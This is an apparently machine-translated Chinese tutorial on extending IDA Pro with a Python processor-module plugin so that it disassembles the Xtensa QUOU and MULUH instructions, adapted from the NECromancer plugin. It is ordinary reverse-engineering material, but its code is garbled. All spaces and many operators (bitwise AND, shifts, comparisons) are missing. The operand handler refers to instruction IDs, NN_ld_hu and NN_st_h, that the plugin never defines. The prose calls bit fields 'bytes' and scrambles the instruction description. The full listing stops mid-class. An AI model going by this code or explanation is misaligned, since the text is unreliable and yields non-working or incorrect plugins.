由於反彙編插件的可用性很大程度上取決於架構的流行程度，因此某些處理器模塊的更新頻率比其他模塊要高。而對新指令的支持可能需要IDA 開發人員花一些時間才能實現。

那麼，如果您當前正在使用的架構沒有插件，您該怎麼辦？

好消息是，無需等待IDA 開發人員實現對特定指令集的支持。您可以自己創建自定義IDA 插件，也可以使用Python 通過IDA SDK 實現相關插件。

讓我們探討一個實現逆向工程IDA 插件的示例，並使用新的Xtensa 架構指令，在撰寫本文時，IDA 7.7 尚不支持這些指令。由於這些指令未在IDA 中反彙編，因此您將它們視為原始字節：

image.png

屏幕截圖1. Xtensa 指令在IDA 中顯示為原始字節

但如果您使用其他支持反彙編新Xtensa指令的軟件，例如Lauterbach Trace32模擬器，您可以看到這些字節是商無符號（QUOU）指令：

image.png

屏幕截圖2.Xtensa 指令看起來像Lauterbach Trace32 模擬器中的QUOU 指令

一旦知道這些字節是什麼，您就可以找到QUOU 指令的描述並實現IDA 插件來擴展現有處理器模塊的功能。讓我們探討一下如何做到這一點。

使用新插件向IDA 處理器模塊添加指令讓我們使用NECromancer插件，它為NEC V850 CPU 擴展了IDA 的處理器模塊。

使用此插件的目標是掛鉤處理器模塊的事件處理程序並執行您自己的處理例程而不是現有的處理例程。該插件將允許處理器模塊處理默認情況下無法處理的未知指令。

讓我們看一下一個空插件。以下是在IDA 引擎中註冊插件並掛接處理器模塊所需的最少代碼：

(Python)

classXtensaESP(plugin_t):flags=PLUGIN_PROC|PLUGIN_HIDEcomment=''wanted_hotkey=''help='AddssupportforadditionalXtensainstructions'wanted_name='XtensaESP'def__init__(self):self.prochook=Nonedefinit(self):ifph_get_id()!=PLFM_XTENSA:returnPLUGIN_SKIPself.prochook=xtensa_idp_hoo k_t()self.prochook.hook()print('%sinitialized.'%XtensaESP.wanted_name)returnPLUGIN_KEEPdefrun(self,arg):passdefterm(self):ifself.prochook:self.prochook.unhook()#--------------------------------------------------------------------------defPLUGIN_ENTRY():returnXtensaESP()為了確保IDA 僅在加載Xtensa CPU 處理器模塊時運行該插件，該插件會執行以下檢查：

ifph_get_id()!=PLFM_XTENSANECromancer 插件還需要xtensa_idp_hook_t掛鉤類來安裝處理器模塊事件的處理程序。鉤子類主體如下所示：

classxtensa_idp_hook_t(IDP_Hooks):def__init__(self):IDP_Hooks.__init__(self)defev_ana_insn(self,insn):passdefev_out_mnem(self,outctx):passdefev_out_operand(self,outctx,op):pass該代碼片段的關鍵元素是：

ev_ana_insn方法，幫助您分析字節碼並創建指令類

ev_out_mnem方法，允許您創建指令的可視化表示，即生成反彙編文本

ev_out_operand方法，實現指令操作數生成為文本以便反彙編

讓我們一一實現這三種方法。

1. 實現ev_ana_insn方法使用NECromancer 插件的目標是添加對QUOU（無符號商）指令的支持。這意味著您需要知道CPU 實際上如何解析表示QUOU 指令的字節。

您可以在Xtensa 指令集架構(ISA) 參考手冊[PDF]中找到此信息：

指令詞：

image.png

所需的配置選項：32 位整數除法選項。

彙編語法：QUOU ar, as, at

說明：將地址寄存器的內容除以地址寄存器的內容QUOU進行32 位無符號除法，並將商寫入地址寄存器。如果地址寄存器的內容引發整數除以零異常而不是寫入結果。 asatarat0, QUOU

在這種特殊情況下，您不需要詳細了解指令的作用。目標是了解CPU 如何知道一組字節實際上是QUOU 指令。

IDA 將這條QUOU 指令顯示為字節序列：0xC0,0x22,0xC2。指令的第一個字節0xC0——在文檔中表示如下：

image.png

讓我們解釋一下這意味著什麼：

1、標記為的頂部四個字節t的值為0xC。

2、低四個字節始終等於0。

3、的值t是用作指令第三個參數的寄存器的索引。

4、0xC=12，這意味著第三個參數是a12。

指令的第二個字節指定了另外兩個標記為r和的參數s：

image.png

在我們的例子中，第二個字節是0x22，這意味著r=0x2和s=0x2。因此，第一和第二操作數都是a2。

最後，第三個字節是0xC2。根據文檔，它始終是一個常量：

image.png

由於1100 0010=0xC2，您可以使用該字節來識別QUOU 指令。

現在，一切準備就緒，可以開始實現ev_ana_insn方法了。

首先，創建新的指令ID，這將允許IDA引擎區分新指令和現有指令：

classNewInstructions:(NN_quou,NN_last)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_ITYPE+2)其次，讓我們使用從值開始的IDCUSTOM_INSN_ITYPE。

最後，運行指令分析方法，如下所示：

defev_ana_insn(self,insn):buf=get_bytes(insn.ea,3)ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3returnTruereturnFalse我們來解釋一下這段代碼的作用：

get_bytes()函數從IDA 期望的下一條指令的地址處的二進製文件中讀取原始字節。

然後，它檢查指令字節是否實際上看起來像QUOU 指令。

在這種情況下，我們檢查第三個字節0xC2和較低的4 個字節是否0在第一個字節中，如文檔中所定義。最後，您需要使用有關QUOU 指令的信息填充ev_ana_insn方法的insn參數：至少指定指令ID 和指令大小（以字節為單位）。

然後，如果ev_ana_insn方法能夠在建議地址找到指令，則它必須返回True ；否則，它必須返回False。

即使您將努力保持在絕對最低限度（如上所示），IDA 也已經能夠識別新指令。但我們還想向您展示如何讓IDA 也了解指令參數，否則指令將顯示為沒有參數。為此，您需要對ev_ana_insn()方法進行改進：

defev_ana_insn(self,insn):buf=get_bytes(insn.ea,3)ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTruereturnFalse這段新代碼實現了指令參數的定義。這些是代碼從指令字節中提取的r、s和值。

解析完成後，就可以設置反彙編文本的輸出了。

2. 實現ev_out_mnem方法要生成反彙編文本，您可以完全重用ev_out_mnem方法的NECromancer 插件的現有代碼：

DEBUG_PLUGIN=TrueNEWINSN_COLOR=COLOR_MACROifDEBUG_PLUGINelseCOLOR_INSNclassNewInstructions:(NN_quou,NN_last)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_IT YPE+2)lst={NN_quou:'quou'}defev_out_mnem(self,outctx):insntype=outctx.insn.itypeglobalNEWINSN_COLORif(insntype=CUSTOM_INSN_ITYPE)and(insntypeinN ewInstructions.lst):mnem=NewInstructions.lst[insntype]outctx.out_tagon(NEWINSN_COLOR)outctx.out_line(mnem)outctx.out_tagoff(NEWINSN_COLOR)#TODO:howcanMNEM_widthbedeterminedprogrammatically?MNEM_WIDTH=8width=max(1,MNEM_WIDTH-len(mnem))outctx.out_line(''*width)returnTruereturnFalse我們來解釋一下這個例子的要點：

ev_out_mnem從NewInstructions類獲取指令名稱並andoutctx.out_line在IDA 反彙編窗口中顯示文本。

標誌DEBUG_PLUGIN改變文本的顏色。您可以將其設置為默認顏色或宏的顏色，以使新指令脫穎而出，這在調試插件時非常方便。

ev_out_mnem輸出八個空格，為引擎輸出指令參數做好準備。因此，所有內容——代碼、空格、代碼註釋——都將被對齊。

3. 實現ev_out_operand方法要實現指令操作數的生成，您還可以重用ev_out_operand方法的現成代碼：

defev_out_operand(self,outctx,op):insn=outctx.insnifinsn.itypein[NewInstructions.NN_ld_hu,NewInstructions.NN_st_h]:ifop.type==o_displ:outctx.out_value(op,OOF_ADDR)outctx.out_register(ph_get_regnames()[op.reg])returnTruereturnFalse此代碼檢查該指令是否是您之前添加的指令。如果指令包含參數，則需要打印操作數。然後，您將獲得寄存器的名稱，插件將打印它。

現在，所有準備工作都已完成，您可以開始測試您創建的插件。

測試插件將插件放在\IDA\plugins目錄中，以便IDA 可以運行它。然後，加載包含未定義字節的IDA數據庫，將光標置於其上，然後按C創建指令：

image.png

屏幕截圖3. 在IDA 中創建新的QUOU 指令

添加對QUOU 指令的支持後，IDA 每當遇到該指令時都會自動識別該指令。此處指令的顏色與其他指令的顏色不同，因為我們DEBUG_PLUGIN在此示例中啟用了該標誌。如果您決定禁用該標誌，指令的顏色將與代碼的其餘部分相同。

我們示例的完整NECromancer 插件源代碼如下：

fromida_linesimportCOLOR_INSN,COLOR_MACROfromida_idpimportCUSTOM_INSN_ITYPE,IDP_Hooks,ph_get_regnames,ph_get_id,PLFM_XTENSAfromida_bytesimportget_bytesfromida_idaapiimportplugin_t,PLUGIN_PROC,PLUGIN_HIDE,PLUGIN_SKIP,PLUGIN_KEEPfromida_uaimporto_displ,o_reg,o_ imm,dt_dword,OOF_ADDRfromstructimportunpackDEBUG_PLUGIN=TrueNEWINSN_COLOR=COLOR_MACROifDEBUG_PLUGINelseCOLOR_INSNclassNewInstructions:(NN_quou,NN_muluh)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_ITYPE+2)lst={NN_quou:'quou',NN_muluh:'muluh'}#------------ --------------------------------------------------------------classxtensa_idp_hook_t(IDP_Hooks):def__init__(self):IDP_Hooks.__init__(self)defdecode_instruction(self,insn):buf=get_bytes(insn.ea,3)#print('%08Xbytes%X%X%X'%(insn.ea,buf[2],buf[1],buf[ 0]))ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTrueifbuf[2]==0xA2and(buf[0]0xF)==0:insn.ityp e=NewInstructions.NN_muluhinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTruereturnFalsedefev_ana_insn(self,insn):returnself.decode_instruction(insn)defev_out_mnem(se lf,outctx):insntype=outctx.insn.itypeglobalNEWINSN_COLORif(insntype=CUSTOM_INSN_ITYPE)and(insntypeinNewInstructions.lst):mnem=NewInstructions.lst[insntype]outctx.out_tagon(NEWINSN_COLOR)outctx.out_line(mnem)outctx.out_tagoff(NEWINSN_COLOR)#TODO:ho wcanMNEM_widthbedeterminedprogrammatically?MNEM_WIDTH=8width=max(1,MNEM_WIDTH-len(mnem))outctx.out_line(''*width)returnTruereturnFalsedefev_out_operand(self,outctx,op):insn=outctx.insnifinsn.itypein[NewInstructions.NN_ld_hu,NewInstructions.NN_st_h]:if op.type==o_displ:outctx.out_value(op,OOF_ADDR)outctx.out_register(ph_get_regnames()[op.reg])returnTruereturnFalse#--------------------------------------------------------------------------classXtensaESP(plugin_t):flags=PLUGIN_PROC|PLUGIN_HIDEcomment=''